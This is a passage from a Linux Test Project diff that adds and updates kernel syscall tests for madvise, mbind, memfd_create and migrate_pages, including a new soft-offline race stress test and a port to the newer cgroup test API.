b/testcases/kernel/syscalls/madvise/madvise03.c new file mode 100644 index 00000000..cd63affc --- /dev/null +++ b/testcases/kernel/syscalls/madvise/madvise03.c @@ -0,0 +1,66 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Huawei Technologies Co., Ltd. 2022. All rights reserved. + * Author: Zhao Gongyi + */ + +/*\ + * [Description] + * + * Check that successful madvise(2) MADV_DONTNEED operation will result in + * zero-fill-on-demand pages for anonymous private mappings. + */ + +#include "tst_test.h" + +#define MAP_SIZE (8 * 1024) + +static char *addr; + +static void run(void) +{ + int i; + + memset(addr, 1, MAP_SIZE); + + TEST(madvise(addr, MAP_SIZE, MADV_DONTNEED)); + if (TST_RET == -1) { + tst_brk(TBROK | TTERRNO, "madvise(%p, %d, 0x%x) failed", + addr, MAP_SIZE, MADV_DONTNEED); + } + + for (i = 0; i < MAP_SIZE; i++) { + if (addr[i]) { + tst_res(TFAIL, + "There are no zero-fill-on-demand pages " + "for anonymous private mappings"); + return; + } + } + + if (i == MAP_SIZE) { + tst_res(TPASS, + "There are zero-fill-on-demand pages " + "for anonymous private mappings"); + } +} + +static void setup(void) +{ + addr = SAFE_MMAP(NULL, MAP_SIZE, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, + -1, 0); +} + +static void cleanup(void) +{ + if (addr) + SAFE_MUNMAP(addr, MAP_SIZE); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, +}; diff --git a/testcases/kernel/syscalls/madvise/madvise05.c b/testcases/kernel/syscalls/madvise/madvise05.c index 3ab4a874..9b00a1ff 100755 --- a/testcases/kernel/syscalls/madvise/madvise05.c +++ b/testcases/kernel/syscalls/madvise/madvise05.c @@ -46,7 +46,6 @@ static void verify_madvise(void) } static struct tst_test test = { - .min_kver = "3.9.0", .test_all = verify_madvise, .tags = (const struct tst_tag[]) { {"linux-git", "ee53664bda16"}, diff --git a/testcases/kernel/syscalls/madvise/madvise06.c b/testcases/kernel/syscalls/madvise/madvise06.c index 263b8e78..be22318e 100755 --- a/testcases/kernel/syscalls/madvise/madvise06.c +++ b/testcases/kernel/syscalls/madvise/madvise06.c @@ -48,7 +48,6 @@ #include #include #include "tst_test.h" -#include "tst_cgroup.h" #define CHUNK_SZ (400*1024*1024L) #define MEM_LIMIT (CHUNK_SZ / 2) @@ -56,8 +55,6 @@ #define PASS_THRESHOLD (CHUNK_SZ / 4) #define PASS_THRESHOLD_KB (PASS_THRESHOLD / 1024) -static const struct tst_cgroup_group *cg; - static const char drop_caches_fname[] = "/proc/sys/vm/drop_caches"; static int pg_sz, stat_refresh_sup; @@ -73,10 +70,10 @@ static void print_cgmem(const char *name) { long ret; - if (!SAFE_CGROUP_HAS(cg, name)) + if (!SAFE_CG_HAS(tst_cg, name)) return; - SAFE_CGROUP_SCANF(cg, name, "%ld", &ret); + SAFE_CG_SCANF(tst_cg, name, "%ld", &ret); tst_res(TINFO, "\t%s: %ld Kb", name, ret / 1024); } @@ -121,21 +118,18 @@ static void setup(void) check_path("/proc/self/oom_score_adj"); SAFE_FILE_PRINTF("/proc/self/oom_score_adj", "%d", -1000); - tst_cgroup_require("memory", NULL); - cg = tst_cgroup_get_test_group(); - - SAFE_CGROUP_PRINTF(cg, "memory.max", "%ld", MEM_LIMIT); - if (SAFE_CGROUP_HAS(cg, "memory.swap.max")) - SAFE_CGROUP_PRINTF(cg, "memory.swap.max", "%ld", MEMSW_LIMIT); + SAFE_CG_PRINTF(tst_cg, "memory.max", "%ld", MEM_LIMIT); + if (SAFE_CG_HAS(tst_cg, "memory.swap.max")) + SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%ld", MEMSW_LIMIT); - if (SAFE_CGROUP_HAS(cg, "memory.swappiness")) { - SAFE_CGROUP_PRINT(cg, "memory.swappiness", "60"); + if (SAFE_CG_HAS(tst_cg, "memory.swappiness")) { + SAFE_CG_PRINT(tst_cg, "memory.swappiness", "60"); } else { check_path("/proc/sys/vm/swappiness"); SAFE_FILE_PRINTF("/proc/sys/vm/swappiness", "%d", 60); } - SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", getpid()); + SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid()); meminfo_diag("Initial meminfo, later values are relative to this (except memcg)"); init_swap = SAFE_READ_MEMINFO("SwapTotal:") - SAFE_READ_MEMINFO("SwapFree:"); @@ -149,11 +143,6 @@ static void setup(void) CHUNK_SZ / 1024, CHUNK_SZ / pg_sz, MEM_LIMIT / 1024, PASS_THRESHOLD_KB); } -static void cleanup(void) -{ - tst_cgroup_cleanup(); -} - static void dirty_pages(char *ptr, long size) { long i; @@ -175,7 +164,7 @@ static int get_page_fault_num(void) static void test_advice_willneed(void) { - int loops = 50, res; + int loops = 100, res; char *target; long swapcached_start, swapcached; int page_fault_num_1, page_fault_num_2; @@ -209,42 +198,57 @@ static void test_advice_willneed(void) meminfo_diag("After madvise"); res = swapcached > swapcached_start + PASS_THRESHOLD_KB; - tst_res(res ? TPASS : TFAIL, + tst_res(res ? TPASS : TINFO, "%s than %ld Kb were moved to the swap cache", res ? "more" : "less", PASS_THRESHOLD_KB); - - TEST(madvise(target, PASS_THRESHOLD, MADV_WILLNEED)); + loops = 100; + SAFE_FILE_LINES_SCANF("/proc/meminfo", "SwapCached: %ld", &swapcached_start); + TEST(madvise(target, pg_sz * 3, MADV_WILLNEED)); if (TST_RET == -1) tst_brk(TBROK | TTERRNO, "madvise failed"); + do { + loops--; + usleep(100000); + if (stat_refresh_sup) + SAFE_FILE_PRINTF("/proc/sys/vm/stat_refresh", "1"); + SAFE_FILE_LINES_SCANF("/proc/meminfo", "SwapCached: %ld", + &swapcached); + } while (swapcached < swapcached_start + pg_sz*3/1024 && loops > 0); page_fault_num_1 = get_page_fault_num(); tst_res(TINFO, "PageFault(madvice / no mem access): %d", page_fault_num_1); - dirty_pages(target, PASS_THRESHOLD); + dirty_pages(target, pg_sz * 3); page_fault_num_2 = get_page_fault_num(); tst_res(TINFO, "PageFault(madvice / mem access): %d", page_fault_num_2); meminfo_diag("After page access"); res = page_fault_num_2 - page_fault_num_1; - tst_res(res < 3 ? TPASS : TFAIL, - "%d pages were faulted out of 2 max", res); + tst_res(res == 0 ? TPASS : TINFO, + "%d pages were faulted out of 3 max", res); SAFE_MUNMAP(target, CHUNK_SZ); + + if (tst_taint_check()) + tst_res(TFAIL, "Kernel tainted"); + else + tst_res(TPASS, "No kernel taints"); } static struct tst_test test = { .test_all = test_advice_willneed, .setup = setup, - .cleanup = cleanup, - .min_kver = "3.10.0", .needs_tmpdir = 1, .needs_root = 1, - .save_restore = (const char * const[]) { - "?/proc/sys/vm/swappiness", - NULL + .taint_check = TST_TAINT_W | TST_TAINT_D, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/vm/swappiness", NULL, + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {} }, + .needs_cgroup_ctrls = (const char *const []){ "memory", NULL }, .tags = (const struct tst_tag[]) { {"linux-git", "55231e5c898c"}, {"linux-git", "8de15e920dc8"}, diff --git a/testcases/kernel/syscalls/madvise/madvise07.c b/testcases/kernel/syscalls/madvise/madvise07.c index ca76d237..d6e2e7d1 100755 --- a/testcases/kernel/syscalls/madvise/madvise07.c +++ b/testcases/kernel/syscalls/madvise/madvise07.c @@ -92,7 +92,6 @@ static void run(void) static struct tst_test test = { .test_all = run, - .min_kver = "2.6.31", .needs_root = 1, .forks_child = 1 }; diff --git a/testcases/kernel/syscalls/madvise/madvise08.c b/testcases/kernel/syscalls/madvise/madvise08.c index ff167daf..96bcaf15 100755 --- a/testcases/kernel/syscalls/madvise/madvise08.c +++ b/testcases/kernel/syscalls/madvise/madvise08.c @@ -110,8 +110,7 @@ static int find_sequence(int pid) snprintf(dumpname, 256, "dump-%d", pid); tst_res(TINFO, "Dump file should be %s", dumpname); - if (access(dumpname, F_OK)) - tst_brk(TBROK | TERRNO, "Dump file was not found."); + SAFE_ACCESS(dumpname, F_OK); dfd = SAFE_OPEN(dumpname, O_RDONLY); @@ -209,12 +208,11 @@ static struct tst_test test = { .tcnt = 2, .setup = setup, .cleanup = cleanup, - .min_kver = "3.4.0", .needs_tmpdir = 1, .needs_root = 1, .forks_child = 1, - .save_restore = (const char * const[]) { - CORE_PATTERN, - NULL, + .save_restore = (const struct tst_path_val[]) { + {CORE_PATTERN, NULL, TST_SR_TCONF}, + {} }, }; diff --git a/testcases/kernel/syscalls/madvise/madvise10.c b/testcases/kernel/syscalls/madvise/madvise10.c index d73d9aab..c299788a 100755 --- a/testcases/kernel/syscalls/madvise/madvise10.c +++ b/testcases/kernel/syscalls/madvise/madvise10.c @@ -1,5 +1,4 @@ // SPDX-License-Identifier: GPL-2.0-or-later -// SPDX-License-Identifier: GPL-2.0 or later /* * Copyright (c) Zilogic Systems Pvt. Ltd., 2018 * Email : code@zilogic.com diff --git a/testcases/kernel/syscalls/madvise/madvise11.c b/testcases/kernel/syscalls/madvise/madvise11.c new file mode 100644 index 00000000..3cde85ef --- /dev/null +++ b/testcases/kernel/syscalls/madvise/madvise11.c @@ -0,0 +1,438 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2023 Oracle and/or its affiliates. + */ + +/*\ + * [Description] + * + * Stress a possible race condition between memory pages allocation + * and soft-offline of unrelated pages as explained in the commit: + * d4ae9916ea29 (mm: soft-offline: close the race against page allocation) + * + * Control that soft-offlined pages get correctly replaced: with the + * same content and without SIGBUS generation when accessed. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "tst_test.h" +#include "tst_safe_pthread.h" +#include "tst_safe_stdio.h" +#include "lapi/mmap.h" + +#define NUM_LOOPS 5 +#define NUM_PAGES 32 +#define NUM_PAGES_OFFSET 5 + +/* Needed module to online back memory pages */ +#define HW_MODULE "hwpoison_inject" + +static pthread_t *thread_ids; +static int number_threads; +static int run_iterations; +static int maximum_pfns; + +static volatile int sigbus_received; +static pthread_cond_t sigbus_received_cv; +static pthread_mutex_t sigbus_received_mtx = PTHREAD_MUTEX_INITIALIZER; + +static long pagesize; +static char beginning_tag[BUFSIZ]; +static int hwpoison_probe; + +static void my_yield(void) +{ + static const struct timespec t0 = { 0, 0 }; + + nanosleep(&t0, NULL); +} + +/* a SIGBUS received is a confirmation of test failure */ +static void sigbus_handler(int signum LTP_ATTRIBUTE_UNUSED) +{ + pthread_mutex_lock(&sigbus_received_mtx); + sigbus_received++; + pthread_cond_signal(&sigbus_received_cv); + pthread_mutex_unlock(&sigbus_received_mtx); + pause(); +} + +static void *sigbus_monitor(void *arg LTP_ATTRIBUTE_UNUSED) +{ + pthread_mutex_lock(&sigbus_received_mtx); + while (!sigbus_received) + pthread_cond_wait(&sigbus_received_cv, &sigbus_received_mtx); + pthread_mutex_unlock(&sigbus_received_mtx); + tst_res(TFAIL, "SIGBUS Received"); + exit(1); +} + +/* + * Allocate a page and write a sentinel value into it. + */ +static void *allocate_write(int sentinel) +{ + void *p; + int *s; + + p = SAFE_MMAP(NULL, pagesize, PROT_READ|PROT_WRITE, + MAP_SHARED|MAP_ANONYMOUS, -1, 0); + s = (int *)p; + *s = sentinel; + return p; +} + +/* + * Verify and unmap the given page. + */ +static int verif_unmap(void *page, int sentinel) +{ + int *s = (int *)page; + + if (*s != sentinel) { + tst_res(TFAIL, "pid[%d]: fail: bad sentinel value seen: %d expected: %d\n", getpid(), *s, sentinel); + return 1; + } + + return SAFE_MUNMAP(page, pagesize); +} + +/* + * allocate_offline() - Allocate and offline test called per-thread + * + * This function does the allocation and offline by mmapping an + * anonymous page and offlining it. + */ +static int allocate_offline(int tnum) +{ + int loop; + + for (loop = 0; loop < NUM_LOOPS; loop++) { + long *ptrs[NUM_PAGES]; + int num_alloc; + int i; + + for (num_alloc = 0; num_alloc < NUM_PAGES; num_alloc++) { + + ptrs[num_alloc] = allocate_write((tnum << NUM_PAGES_OFFSET) | num_alloc); + if (ptrs[num_alloc] == NULL) + return -1; + + if (madvise(ptrs[num_alloc], pagesize, MADV_SOFT_OFFLINE) == -1) { + if (errno != EINVAL) + tst_res(TFAIL | TERRNO, "madvise failed"); + if (errno == EINVAL) + tst_res(TCONF, "madvise() didn't support MADV_SOFT_OFFLINE"); + return errno; + } + } + + for (i = 0; i < num_alloc; i++) { + if (verif_unmap(ptrs[i], (tnum << NUM_PAGES_OFFSET) | i) != 0) + return 1; + } + + my_yield(); + if (!tst_remaining_runtime()) { + tst_res(TINFO, "Thread [%d]: Test runtime is over, exiting", tnum); + break; + } + } + + return 0; +} + +static void *alloc_mem(void *threadnum) +{ + int err; + int tnum = (int)(uintptr_t)threadnum; + + /* waiting for other threads starting */ + TST_CHECKPOINT_WAIT(0); + + err = allocate_offline(tnum); + tst_res(TINFO, + "Thread [%d] returned %d, %s.", tnum, err, (err ? "failed" : "succeeded")); + return (void *)(uintptr_t) (err ? -1 : 0); +} + +static void stress_alloc_offl(void) +{ + int thread_index; + int thread_failure = 0; + pthread_t sigbus_monitor_t; + + run_iterations++; + + SAFE_PTHREAD_CREATE(&sigbus_monitor_t, NULL, sigbus_monitor, NULL); + pthread_detach(sigbus_monitor_t); + + for (thread_index = 0; thread_index < number_threads; thread_index++) { + SAFE_PTHREAD_CREATE(&thread_ids[thread_index], NULL, alloc_mem, + (void *)(uintptr_t)thread_index); + } + + TST_CHECKPOINT_WAKE2(0, number_threads); + + for (thread_index = 0; thread_index < number_threads; thread_index++) { + void *status; + + SAFE_PTHREAD_JOIN(thread_ids[thread_index], &status); + if ((intptr_t)status != 0) { + tst_res(TFAIL, "thread [%d] - exited with errors", + thread_index); + thread_failure++; + } + } + + if (thread_failure == 0) + tst_res(TPASS, "soft-offline / mmap race still clean"); +} + +/* + * ------------ + * Cleanup code: + * The idea is to retrieve all the pfn numbers that have been soft-offined + * (generating a "Soft offlining pfn 0x..." message in the kernel ring buffer) + * by the current test (since a "beginning_tag" message we write when starting). + * And to put these pages back online by writing the pfn number to the + * /hwpoison/unpoison-pfn special file. + * ------------ + */ +#define OFFLINE_PATTERN "Soft offlining pfn 0x" +#define OFFLINE_PATTERN_LEN sizeof(OFFLINE_PATTERN) + +/* return the pfn if the kmsg msg is a soft-offline indication*/ +static unsigned long parse_kmsg_soft_offlined_pfn(char *line, ssize_t len) +{ + char *pos; + unsigned long addr = 0UL; + + pos = strstr(line, OFFLINE_PATTERN); + if (pos == NULL) + return 0UL; + + pos += OFFLINE_PATTERN_LEN-1; + if (pos > (line + len)) + return 0UL; + + addr = strtoul(pos, NULL, 16); + if ((addr == ULONG_MAX) && (errno == ERANGE)) + return 0UL; + + return addr; +} + +/* return the pfns seen in kernel message log */ +static int populate_from_klog(char *begin_tag, unsigned long *pfns, int max) +{ + int found = 0, fd, beginning_tag_found = 0; + ssize_t sz; + unsigned long pfn; + char buf[BUFSIZ]; + + fd = SAFE_OPEN("/dev/kmsg", O_RDONLY|O_NONBLOCK); + + while (found < max) { + sz = read(fd, buf, sizeof(buf)); + /* kmsg returns EPIPE if record was modified while reading */ + if (sz < 0 && errno == EPIPE) + continue; + if (sz <= 0) + break; + if (!beginning_tag_found) { + if (strstr(buf, begin_tag)) + beginning_tag_found = 1; + continue; + } + pfn = parse_kmsg_soft_offlined_pfn(buf, sz); + if (pfn) + pfns[found++] = pfn; + } + SAFE_CLOSE(fd); + return found; +} + +/* + * Read the given file to search for the key. + * Return 1 if the key is found. + */ +static int find_in_file(char *path, char *key) +{ + char line[4096]; + int found = 0; + FILE *file = SAFE_FOPEN(path, "r"); + + while (fgets(line, sizeof(line), file)) { + if (strstr(line, key)) { + found = 1; + break; + } + } + SAFE_FCLOSE(file); + return found; +} + +static void unpoison_this_pfn(unsigned long pfn, int fd) +{ + char pfn_str[19]; + + snprintf(pfn_str, sizeof(pfn_str), "0x%lx", pfn); + SAFE_WRITE(0, fd, pfn_str, strlen(pfn_str)); +} + +/* Find and open the /hwpoison/unpoison-pfn special file */ +static int open_unpoison_pfn(void) +{ + char *added_file_path = "/hwpoison/unpoison-pfn"; + const char *const cmd_modprobe[] = {"modprobe", HW_MODULE, NULL}; + char debugfs_fp[4096]; + struct mntent *mnt; + FILE *mntf; + + if (!find_in_file("/proc/modules", HW_MODULE) && tst_check_builtin_driver(HW_MODULE)) + hwpoison_probe = 1; + + /* probe hwpoison only if it isn't already there */ + if (hwpoison_probe) + SAFE_CMD(cmd_modprobe, NULL, NULL); + + /* debugfs mount point */ + mntf = setmntent("/etc/mtab", "r"); + if (!mntf) { + tst_brk(TBROK | TERRNO, "Can't open /etc/mtab"); + return -1; + } + while ((mnt = getmntent(mntf)) != NULL) { + if (strcmp(mnt->mnt_type, "debugfs") == 0) { + strcpy(debugfs_fp, mnt->mnt_dir); + strcat(debugfs_fp, added_file_path); + break; + } + } + endmntent(mntf); + if (!mnt) + return -1; + + TEST(open(debugfs_fp, O_WRONLY)); + + if (TST_RET == -1 && TST_ERR == EPERM && tst_lockdown_enabled() > 0) { + tst_res(TINFO, + "Cannot restore soft-offlined memory due to lockdown"); + return TST_RET; + } + + if (TST_RET == -1) { + tst_brk(TBROK | TTERRNO, "open(%s) failed", debugfs_fp); + } else if (TST_RET < 0) { + tst_brk(TBROK | TTERRNO, "Invalid open() return value %ld", + TST_RET); + } + + return TST_RET; +} + +/* + * Get all the Offlined PFNs indicated in the dmesg output + * starting after the given beginning tag, and request a debugfs + * hwpoison/unpoison-pfn for each of them. + */ +static void unpoison_pfn(char *begin_tag) +{ + unsigned long *pfns; + const char *const cmd_rmmod[] = {"rmmod", HW_MODULE, NULL}; + int found_pfns, fd; + + pfns = SAFE_MALLOC(sizeof(pfns) * maximum_pfns * run_iterations); + + fd = open_unpoison_pfn(); + if (fd >= 0) { + found_pfns = populate_from_klog(begin_tag, pfns, maximum_pfns * run_iterations); + + tst_res(TINFO, "Restore %d Soft-offlined pages", found_pfns); + /* unpoison in reverse order */ + while (found_pfns-- > 0) + unpoison_this_pfn(pfns[found_pfns], fd); + + SAFE_CLOSE(fd); + } + /* remove hwpoison only if we probed it */ + if (hwpoison_probe) + SAFE_CMD(cmd_rmmod, NULL, NULL); +} + +/* + * Create and write a beginning tag to the kernel buffer to be used on cleanup + * when trying to restore the soft-offlined pages of our test run. + */ +static void write_beginning_tag_to_kmsg(void) +{ + int fd; + + fd = SAFE_OPEN("/dev/kmsg", O_WRONLY); + snprintf(beginning_tag, sizeof(beginning_tag), + "Soft-offlining pages test starting (pid: %ld)", + (long)getpid()); + SAFE_WRITE(1, fd, beginning_tag, strlen(beginning_tag)); + SAFE_CLOSE(fd); +} + +static void setup(void) +{ + struct sigaction my_sigaction; + + number_threads = (int)sysconf(_SC_NPROCESSORS_ONLN) * 2; + if (number_threads <= 1) + number_threads = 2; + else if (number_threads > 5) + number_threads = 5; + + maximum_pfns = number_threads * NUM_LOOPS * NUM_PAGES; + thread_ids = SAFE_MALLOC(sizeof(pthread_t) * number_threads); + pagesize = sysconf(_SC_PAGESIZE); + + /* SIGBUS is the main failure criteria */ + my_sigaction.sa_handler = sigbus_handler; + if (sigaction(SIGBUS, &my_sigaction, NULL) == -1) + tst_res(TFAIL | TERRNO, "Signal handler attach failed"); + + write_beginning_tag_to_kmsg(); + tst_res(TINFO, "Spawning %d threads, with a total of %d memory pages", + number_threads, maximum_pfns); +} + +static void cleanup(void) +{ + unpoison_pfn(beginning_tag); +} + +static struct tst_test test = { + .needs_root = 1, + .needs_drivers = (const char *const []) { + HW_MODULE, + NULL + }, + .needs_cmds = (const char *[]) { + "modprobe", + "rmmod", + NULL + }, + .max_runtime = 30, + .needs_checkpoints = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = stress_alloc_offl, + .tags = (const struct tst_tag[]) { + {"linux-git", "d4ae9916ea29"}, + {} + } +}; diff --git a/testcases/kernel/syscalls/mbind/mbind01.c b/testcases/kernel/syscalls/mbind/mbind01.c index 5f3c5d7c..4b8d168c 100755 --- a/testcases/kernel/syscalls/mbind/mbind01.c +++ b/testcases/kernel/syscalls/mbind/mbind01.c @@ -197,12 +197,6 @@ static void do_test(unsigned int i) tst_res(TINFO, "case %s", tc->desc); if (tc->policy == MPOL_LOCAL) { - if ((tst_kvercmp(3, 8, 0)) < 0) { - tst_res(TCONF, "%s is not supported", - tst_mempolicy_mode_name(tc->policy)); - return; - } - if ((tst_kvercmp(5, 14, 0)) >= 0) tc->check_policy = NULL; } diff --git a/testcases/kernel/syscalls/memfd_create/memfd_create02.c b/testcases/kernel/syscalls/memfd_create/memfd_create02.c index f547e142..b9ddc082 100755 --- a/testcases/kernel/syscalls/memfd_create/memfd_create02.c +++ b/testcases/kernel/syscalls/memfd_create/memfd_create02.c @@ -13,10 +13,8 @@ #define _GNU_SOURCE #include - -#include - #include "memfd_create_common.h" +#include "tst_test.h" static char buf[2048]; static char term_buf[2048]; diff --git a/testcases/kernel/syscalls/memfd_create/memfd_create03.c b/testcases/kernel/syscalls/memfd_create/memfd_create03.c index 036182f0..2f33fea5 100755 --- a/testcases/kernel/syscalls/memfd_create/memfd_create03.c +++ b/testcases/kernel/syscalls/memfd_create/memfd_create03.c @@ -32,14 +32,6 @@ #include #include -#define TOTAL_HP_PATH "/proc/sys/vm/nr_hugepages" -#define MEMINFO_PATH "/proc/meminfo" -#define FREE_HP "HugePages_Free:\t%ld" -#define DEFAULT_HPS "Hugepagesize:\t%ld kB" - -static int hugepages_allocated; -static long og_total_pages; - static void *check_huge_mmapable(int fd, unsigned long size) { void *mem; @@ -88,7 +80,7 @@ static void test_def_pagesize(int fd) long hps; void *mem; - SAFE_FILE_LINES_SCANF(MEMINFO_PATH, DEFAULT_HPS, &hps); + hps = SAFE_READ_MEMINFO("Hugepagesize:"); hps = hps << 10; unmap_size = hps / 4; mem = check_huge_mmapable(fd, hps); @@ -128,8 +120,8 @@ static void test_max_hugepages(int fd) void *mem; void *new_mem; - SAFE_FILE_LINES_SCANF(MEMINFO_PATH, FREE_HP, &free_pages); - SAFE_FILE_LINES_SCANF(MEMINFO_PATH, DEFAULT_HPS, &hps); + free_pages = SAFE_READ_MEMINFO("HugePages_Free:"); + hps = SAFE_READ_MEMINFO("Hugepagesize:"); hps = hps << 10; mem = check_huge_mmapable(fd, free_pages * hps); @@ -188,68 +180,10 @@ static void memfd_huge_controller(unsigned int n) SAFE_CLOSE(fd); } -static void setup(void) -{ - char buf[8]; - int fd; - long free_pages; - long total_pages; - - if (access(MEMINFO_PATH, F_OK) || - access("/sys/kernel/mm/hugepages", F_OK) || - access(TOTAL_HP_PATH, F_OK)) - tst_brk(TCONF, "Huge page is not supported"); - - SAFE_FILE_LINES_SCANF(MEMINFO_PATH, FREE_HP, &free_pages); - if (free_pages > 0) - return; - - SAFE_FILE_LINES_SCANF(TOTAL_HP_PATH, "%ld", &og_total_pages); - sprintf(buf, "%ld", og_total_pages + 1); - - fd = SAFE_OPEN(TOTAL_HP_PATH, O_RDWR | O_TRUNC); - - if (write(fd, buf, strlen(buf)) == -1) - tst_brk(TCONF | TERRNO, - "write() fail: Hugepage allocation failed"); - - SAFE_CLOSE(fd); - - SAFE_FILE_LINES_SCANF(TOTAL_HP_PATH, "%ld", &total_pages); - if (total_pages != (og_total_pages + 1)) - tst_brk(TCONF, "Hugepage allocation failed"); - - hugepages_allocated = 1; -} - -static void cleanup(void) -{ - char buf[8]; - int fd; - long total_pages; - - if (hugepages_allocated == 0) - return; - - sprintf(buf, "%ld", og_total_pages); - - fd = SAFE_OPEN(TOTAL_HP_PATH, O_RDWR | O_TRUNC); - - if (write(fd, buf, strlen(buf)) == -1) - tst_brk(TCONF | TERRNO, "Clean-up failed: write() failed"); - - SAFE_CLOSE(fd); - - SAFE_FILE_LINES_SCANF(TOTAL_HP_PATH, "%ld", &total_pages); - if (og_total_pages != total_pages) - tst_brk(TCONF, "Clean-up failed"); -} - static struct tst_test test = { - .setup = setup, .test = memfd_huge_controller, .tcnt = ARRAY_SIZE(tcases), .needs_root = 1, .min_kver = "4.14", - .cleanup = cleanup, + .hugepages = {1, TST_NEEDS}, }; diff --git a/testcases/kernel/syscalls/memfd_create/memfd_create04.c b/testcases/kernel/syscalls/memfd_create/memfd_create04.c index dc6e195f..585f17e1 100755 --- a/testcases/kernel/syscalls/memfd_create/memfd_create04.c +++ b/testcases/kernel/syscalls/memfd_create/memfd_create04.c @@ -1,20 +1,23 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) Zilogic Systems Pvt. Ltd., 2018 - * Email: code@zilogic.com + * Copyright (c) Zilogic Systems Pvt. Ltd. , 2018 + * Copyright (c) Linux Test Project, 2019-2023 */ -/* - * Test: Validating memfd_create() with MFD_HUGETLB and MFD_HUGE_x flags. +/*\ + * [Description] + * + * Validating memfd_create() with MFD_HUGETLB and MFD_HUGE_x flags. + * + * Attempt to create files in the hugetlbfs filesystem using different huge page + * sizes. * - * Test cases: Attempt to create files in the hugetlbfs filesystem using - * different huge page sizes. + * [Algorithm] * - * Test logic: memfd_create() should return non-negative value (fd) - * if the system supports that particular huge page size. - * On success, fd is returned. - * On failure, -1 is returned with ENODEV error. + * memfd_create() should return non-negative value (fd) if the system supports + * that particular huge page size. + * On success, fd is returned. On failure, -1 is returned with ENODEV error. */ #define _GNU_SOURCE @@ -25,8 +28,6 @@ #include #include -#define PATH_HUGEPAGES "/sys/kernel/mm/hugepages" - static struct test_flag { int flag; char *h_size; @@ -48,7 +49,7 @@ static void check_hugepage_support(struct test_flag *test_flags) char pattern[64]; sprintf(pattern, PATH_HUGEPAGES); - strcat(pattern, "/hugepages-"); + strcat(pattern, "hugepages-"); strcat(pattern, test_flags->h_size); if (access(pattern, F_OK)) @@ -79,6 +80,8 @@ static void memfd_huge_x_controller(unsigned int n) tst_res(TPASS, "memfd_create succeeded for %s page size", tflag.h_size); + + SAFE_CLOSE(fd); } static void setup(void) diff --git a/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c b/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c index fa931541..198ba381 100755 --- a/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c +++ b/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c @@ -62,7 +62,7 @@ static void cleanup(void); static void test_sane_nodes(void) { tst_resm(TINFO, "test_empty_mask"); - TEST(ltp_syscall(__NR_migrate_pages, 0, sane_max_node, + TEST(tst_syscall(__NR_migrate_pages, 0, sane_max_node, sane_old_nodes, sane_new_nodes)); check_ret(0); } @@ -72,14 +72,14 @@ static void test_invalid_pid(void) pid_t invalid_pid = -1; tst_resm(TINFO, "test_invalid_pid -1"); - TEST(ltp_syscall(__NR_migrate_pages, invalid_pid, sane_max_node, + TEST(tst_syscall(__NR_migrate_pages, invalid_pid, sane_max_node, sane_old_nodes, sane_new_nodes)); check_ret(-1); check_errno(ESRCH); tst_resm(TINFO, "test_invalid_pid unused pid"); invalid_pid = tst_get_unused_pid(cleanup); - TEST(ltp_syscall(__NR_migrate_pages, invalid_pid, sane_max_node, + TEST(tst_syscall(__NR_migrate_pages, invalid_pid, sane_max_node, sane_old_nodes, sane_new_nodes)); check_ret(-1); check_errno(ESRCH); @@ -88,7 +88,7 @@ static void test_invalid_pid(void) static void test_invalid_masksize(void) { tst_resm(TINFO, "test_invalid_masksize"); - TEST(ltp_syscall(__NR_migrate_pages, 0, -1, sane_old_nodes, + TEST(tst_syscall(__NR_migrate_pages, 0, -1, sane_old_nodes, sane_new_nodes)); check_ret(-1); check_errno(EINVAL); @@ -99,7 +99,7 @@ static void test_invalid_mem(void) unsigned long *p; tst_resm(TINFO, "test_invalid_mem -1"); - TEST(ltp_syscall(__NR_migrate_pages, 0, sane_max_node, -1, -1)); + TEST(tst_syscall(__NR_migrate_pages, 0, sane_max_node, -1, -1)); check_ret(-1); check_errno(EFAULT); @@ -108,13 +108,13 @@ static void test_invalid_mem(void) MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); if (p == MAP_FAILED) tst_brkm(TBROK | TERRNO, cleanup, "mmap"); - TEST(ltp_syscall(__NR_migrate_pages, 0, sane_max_node, p, p)); + TEST(tst_syscall(__NR_migrate_pages, 0, sane_max_node, p, p)); check_ret(-1); check_errno(EFAULT); SAFE_MUNMAP(cleanup, p, getpagesize()); tst_resm(TINFO, "test_invalid_mem unmmaped"); - TEST(ltp_syscall(__NR_migrate_pages, 0, sane_max_node, p, p)); + TEST(tst_syscall(__NR_migrate_pages, 0, sane_max_node, p, p)); check_ret(-1); check_errno(EFAULT); } @@ -143,7 +143,7 @@ static void test_invalid_nodes(void) memset(new_nodes, 0, sane_nodemask_size); set_bit(new_nodes, invalid_node, 1); - TEST(ltp_syscall(__NR_migrate_pages, 0, sane_max_node, + TEST(tst_syscall(__NR_migrate_pages, 0, sane_max_node, old_nodes, new_nodes)); check_ret(-1); check_errno(EINVAL); @@ -178,7 +178,7 @@ static void test_invalid_perm(void) if (ltpuser == NULL) tst_brkm(TBROK | TERRNO, NULL, "getpwnam failed"); SAFE_SETUID(NULL, ltpuser->pw_uid); - TEST(ltp_syscall(__NR_migrate_pages, parent_pid, + TEST(tst_syscall(__NR_migrate_pages, parent_pid, sane_max_node, sane_old_nodes, sane_new_nodes)); ret |= check_ret(-1); ret |= check_errno(EPERM); @@ -215,7 +215,7 @@ static void setup(void) int node, ret; tst_require_root(); - TEST(ltp_syscall(__NR_migrate_pages, 0, 0, NULL, NULL)); + TEST(tst_syscall(__NR_migrate_pages, 0, 0, NULL, NULL)); if (!is_numa(NULL, NH_MEMS, 1)) tst_brkm(TCONF, NULL, "requires NUMA with at least 1 node"); diff --git a/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c 